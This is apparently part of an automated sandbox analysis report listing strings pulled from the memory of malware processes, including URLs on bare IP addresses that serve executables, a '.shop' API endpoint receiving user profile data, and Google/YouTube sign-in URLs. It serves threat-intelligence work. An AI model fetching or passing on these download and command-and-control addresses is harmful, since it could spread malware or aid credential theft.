Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ion_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rgkk equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=AaSxoQwjhvMUJDldG6Innua_C1pcDG5oPAHsCGMCPvqUw802RdjX5hf3fPDpZO3Wpa0PCsK_u6Dcjg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1325622038%3A1714794747441010&theme=mn&ddm=0/v/ equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2825253363.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824119223.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826081966.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: p%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enYouTube equals www.youtube.com (Youtube)
Source: d361f35322.exe, 00000024.00000003.2825253363.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824119223.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826081966.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: p%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enYouTube/v/ equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3248220823.0000000007CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001B.00000003.3248220823.0000000007CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AaSxoQx6ne11cfZ6Gk3eVqT5Cz0DLtBw7SzKkiaryluTa5kmW0zT8SNnoepGMkksmkn9pwxU7Cs4rg3xdf equals www.youtube.com (Youtube)

Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe.lv
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exer.dbl
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/go.exe
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/go.exe4x
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/go.exehCorel.ba
Source: MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/go.exemadka.ex
Source: d361f35322.exe, 00000024.00000003.2759415774.000000000143F000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/lenin.exe
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/lenin.exe1
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/lenin.exe;x
Source: d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/lenin.exea.exe68.0l
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/cost/lenin.exew.s
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: powershell.exe, 0000001E.00000002.2315360912.000001D42EE5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41EDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: freebl3[1].dll.51.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: d361f35322.exe, 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, MPGPH131.exe, 0000001B.00000003.2069728672.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3349331204.0000000000701000.00000040.00000001.01000000.00000012.sdmp, MPGPH131.exe, 0000001C.00000003.2070120899.0000000005180000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2021888097.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3072062602.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, RageMP131.exe, 0000002E.00000003.2138214229.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2634123106.0000000000891000.00000040.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.googl
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_h
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_s
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https
Source: d361f35322.exe, 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826081966.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826875397.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825684612.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2837144727.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2838516911.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2
Source: d361f35322.exe, 00000024.00000003.2825684612.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/id
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsig
Source: d361f35322.exe, 00000024.00000003.2822343743.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fa
Source: RegAsm.exe, 0000001D.00000002.2274630744.0000000000D56000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2273817779.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://affordcharmcropwo.shop/
Source: RegAsm.exe, 0000001D.00000002.2274630744.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2226894863.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://affordcharmcropwo.shop/api
Source: RegAsm.exe, 0000001D.00000002.2274630744.0000000000D56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://affordcharmcropwo.shop/apitemb
Source: RegAsm.exe, 0000001D.00000002.2273817779.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://affordcharmcropwo.shop/d
Source: RegAsm.exe, 0000001D.00000002.2273817779.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://affordcharmcropwo.shop/z
Source: RegAsm.exe, 0000001D.00000002.2226894863.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://affordcharmcropwo.shop:443/apiNAME=userUSERPROFILE=C:
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41EDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2095956248.000001D420547000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000001E.00000002.2095956248.000001D420547000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: jok.exe, 00000028.00000000.2051081332.00000000007C2000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762501264.0000000001441000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.000000000140C000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.104
Source: d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.1042
